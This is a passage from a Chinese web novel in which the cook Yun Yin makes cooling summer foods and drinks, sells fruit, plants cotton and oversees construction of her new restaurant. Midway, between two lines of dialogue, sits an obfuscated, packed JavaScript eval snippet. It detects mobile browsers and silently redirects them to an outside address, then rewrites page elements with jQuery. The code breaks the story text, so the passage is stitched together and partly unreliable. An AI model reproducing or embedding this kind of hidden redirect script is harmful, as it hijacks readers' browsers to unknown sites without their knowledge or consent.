凉糕自然要比凉粉做法繁琐些，需要把浸泡的大米磨成米浆，之后加入草木灰水一起倒入锅中熬煮，熬煮过程中需要一直搅拌，不然可能一不小心就糊了。
熬好的米浆倒入容器中，静置几小时凝固，凉糕就做好了，吃的时候加入红糖水，也可以用冰冷藏，风味会更佳。
云音尝过做出来的凉糕味道不错，她打算明日一早起来做凉糕，即便镇里的娘子们不吃，卖给过路的人不错，是一道很好的解暑佳品。
翌日天不亮云音就爬起来了，做凉糕就是这点不好，需要把米磨成浆，若是凉粉就则完全不需要，只用把凉粉籽揉搓出黏糊状的液体，静置几小时便可以吃。
可惜现在还不是吃凉粉的时候，只能等八月份凉粉果成熟再去采摘了，现在先用凉糕替代，不过凉糕和凉粉的口感还是不同，云音是只要好吃都喜欢。
做好凉糕，云音又准备了一些杏仁酪，以备不时之需。
天色大亮时，张林去揉面，自从店里做了槐叶冷陶，早上吃这个面条的人越发多了，汤面吃的人少了许多，云音也不用熬那么多骨头汤了，直接做槐叶冷陶，又清凉又好吃。
加入槐叶汁的面色泽翠绿，放入山泉水中浸泡，用熟油搅拌，放入泉水中冷藏，山泉水比一般的水凉快，放入里面能很好保存。
等云音的房子建造起来，她也会打造一口井，井水冬暖夏凉，是用来冰镇水果和冷食的上佳之选，比她用冰块省钱多了，若不是罗蔓送她的冰块，她也用不起冰。
做完凉糕，云音趁着天气凉快继续摘点青梅回来，上次做了话梅，这次主要是做点乌梅，这个用来熬酸梅汤喝，夏天的暑热也消散在那一碗酸甜的酸梅汤中。
乌梅与话梅不同，它需要用烟熏，非常耗费时间，云音打算一次性多做些，留着日后煮酸梅汤喝。
酸梅汤做起来费钱，可以卖给那群有钱人家的娘子，其他人夏天也不能没有解暑的饮品，云音决定再熬一锅凉茶，这个虽然苦，但是解暑效果也很好。
凉茶所需要的药草云音在山里都能采到，而且都是常见品种，她小时候也喝过，不过太苦了，她不爱喝，但每年奶奶都会熬煮一大锅。
采摘回来的忍冬、鱼腥草、车前草等草药洗干净晒干，用大锅熬煮出来过滤汤汁，这便是最简单的凉茶。
小时候喝的凉茶是不加糖的，云音自然也没加糖，凉茶虽苦但解暑效果极佳，云音用大锅装好摆在路边，有人路过时，她会兜售凉茶。
凉茶她卖的很便宜，不过一文钱一碗，路过的人都会选择买一碗，有些人还会装一大竹筒，带着路上喝。五月的天越发炎热起来，赶路的人也避开中午，选择早上和下午赶路。
云音卖着凉茶等着从县里出来的人，太阳刚刚出来时，云音眼尖看到一辆熟悉的马车驶来，云音把一早准备好的食盒拿出来道：“你们娘子吃的如何？”
许飞正是那日及笄礼时坐她身边女子的部曲，平日帮忙她们家娘子过来取点心，也顺便帮其他府里的娘子把点心送去。
许飞眉开眼笑道：“我们娘子很喜欢，近日天气越发热了，娘子没什么胃口，吃了你做的杏仁酪，胃口好了几分，我们娘子还说让我替她感谢你送的水果，那些水果很甜，不知我能不能买一些回去。”
云音挑挑眉道：“你们娘子想买水果，需要多少？”
“你送的水果我们娘子都要，各要一筐就好。”
云音颔首道：“行，你明日过来取。”
送走许飞，云音叫来郑桂兰道：“你明日让村里再各送一筐水果过来，我这边帮忙卖出去一些，这一批水果你们市价给我就好，明日有人会过来取。”
郑桂兰正洗着碗，听到这话眼睛亮了，她现在有了工钱，能养活自己和女儿，可村里很多人都没钱，若是这些水果能卖出去，他们也能得到一些钱，争吵也会少一些。
她擦了擦手道：“真的太感谢娘子了，实在不知该如何报答。”
云音摇头道：“我只是推荐给我食客，也是你们水果好，他们愿意买。”
因为天气越来越热，来吃午食的人也越越来越少，她干脆不卖午食，等到下午时再做晚食，那时气温下降，行商也会选择那个时候赶路。
晚上在茅草屋留宿的人也越发多起来，张林要时不时起夜看看，以至于他白天没什么精神，云音只能自己接过早食，让他能多睡一会儿。
而钱四那边的准备工作也做好了，他带着人一大早过来，选好地方，勘测好哪里有地下水，方便打井，全部弄好后开始打地基建房子。
“咦，你们要建房子？”一客商吃着槐叶冷陶好奇道。
“是啊，打算重新建个饭馆，以后你们吃饭也没这么热，冬天也会暖和几分。”
那客商赞同道：“你们家食物好吃也不贵，就是地方太过简陋，我带的人多点都坐不下，是该建个大点的房子。”
“对了，你们饭馆日后可以住宿吗？”那客商询问，“若是能住宿，日后错过落脚地，我过来你这边住。”
云音没想到饭馆还没建，便有人询问住宿一事，看来罗蔓和钱工的建议确实很对，她颔首道：“自然可以，我会建两个厢房，一个大通铺，另一个中等房，您可以自己选择住哪里。”
客商满意道：“嗯，挺好的，你们客舍什么时候能建好？”
云音看一眼才开工的钱四等人道：“至少要3个月。”
“那夏天早已经过了，这也太久了。”
云音耸耸肩：“没办法，这已经是最快的。”
送走这一行客商，云音拿出晒好用水木灰浸泡过的草棉种子，穿过田野走到刚刚平整过的田地。
此时开垦的田已有不少苗长大开花，再过一个月有些菜能吃了，云音把背篓里的种子种下，一个穴里放一粒种子，等长出苗后再进行移栽，这样能提高出苗率。
种完这一亩棉花，又浇完水，云音腰都要直不起来了，看着满满一块地，虽然很累但很满足，等张林下午有时间，让他把剩下的地种完，五个月之后能收获许多的棉花。
回去时钱四他们也正好收工，他对云音道：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281097|180850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这里的地实在不好挖，杂草也多，今日都没干什么，光割草捡石头了。”
云音无奈道：“这块地的情况确实不好，麻烦您了。”
“算了，我收了你的定金，自然会好好做的，不过这片地方水源充足，凿井不用费太多力气，这倒是个好消息。”
这片地方虽然荒凉，但水源确实不缺的，只是就算水源充足，土地也缺少肥料，这里的杂草都长的不好。
虽然她如今有了牛粪，但那点不够她所有地里的肥用的，种棉花又把之前沤的肥用掉，是该找罗蔓买羊粪了，上次她便想提此事，只是当时不方便，这次要好好找她谈一谈。
翌日云音烟熏的乌梅终于好了，花费她两天时间才做好的乌梅，乌梅虽然易得，但烟熏时需要不离人的照看，她和张林两个换着来，终于把乌梅做好。
做好的乌梅肉厚色黑，入口有一股淡淡的烟熏味，吃起来非常酸，最适合做酸梅汤了。
熬制酸梅汤她用的方法是在网上学的，她也试过味道确实很好，往大釜里倒入乌梅、山楂、陈皮、甘草，用大火煮开，再用中火熬制一段时间，倒入另一个放了冰糖的缸里，再加水继续用小火熬，最后将两种汤汁混合，倒入桂花，能熬出正宗的酸梅汤。
喝的时候把桂花过滤掉，这样只剩下厚重的褐色，尝一口又酸又甜，趁着太阳还没出来，云音把这些酸梅糖装好浸在山泉水中，等许飞来时，酸梅汤已经冰镇好。
许飞看到让人口齿生津的酸梅，不禁感叹道：“云娘子会的可真多，饮品每日都不重样。”
云音笑笑道：“这都是应季食物，也是龙安县物产丰富，我才有发挥的余地。”
他递给她一个荷包道：“这是之后半月的点心钱，对了，我家娘子要办赏花宴，想让你帮忙做菜和点心，看你什么时候有空可以去一趟。”
夏家小娘子她听宋萱提起过，与她关系也不错，云音颔首道：“不知她打算什么时候办宴席，我这边需要调整一下时间。”
“应该一个月后，那时候正好是荷花盛开的季节，她们要去庄子上赏花，所以想让你做一点荷花酥，也能衬景。”
云音表示明白，“我会空出时间来的。”
“叮叮咚咚。”一大早云音伴随着钱四他们的开工声醒来，她洗漱过后穿过溪流到工地前看了看，此时这里已经看不出原本的模样，地基已经开挖，石头也运过来，挖完地基后会那些石头垫墙基，这样能有效放置土墙被雨水浸泡。
云音转头又看到一个工匠正在晒土，听钱四讲解才知道，只有晒过的土拿去做成泥转才能用更久，且他会在泥转之间加入糯米浆，能更好粘合。
这也是为何他收的费用偏贵，他使用的也都是好的材料，云音看了一圈，也不打扰他们干活，把张林煮好的凉茶放在一旁道：“你们若是渴了可以喝凉茶，能解暑的。”
钱四擦擦额头汗水道：“多谢云娘子。”
云音回了前面的饭摊，坐下吃了一碗槐叶冷陶，清清凉凉的面条让她身上的燥热消散，只留槐叶的清香。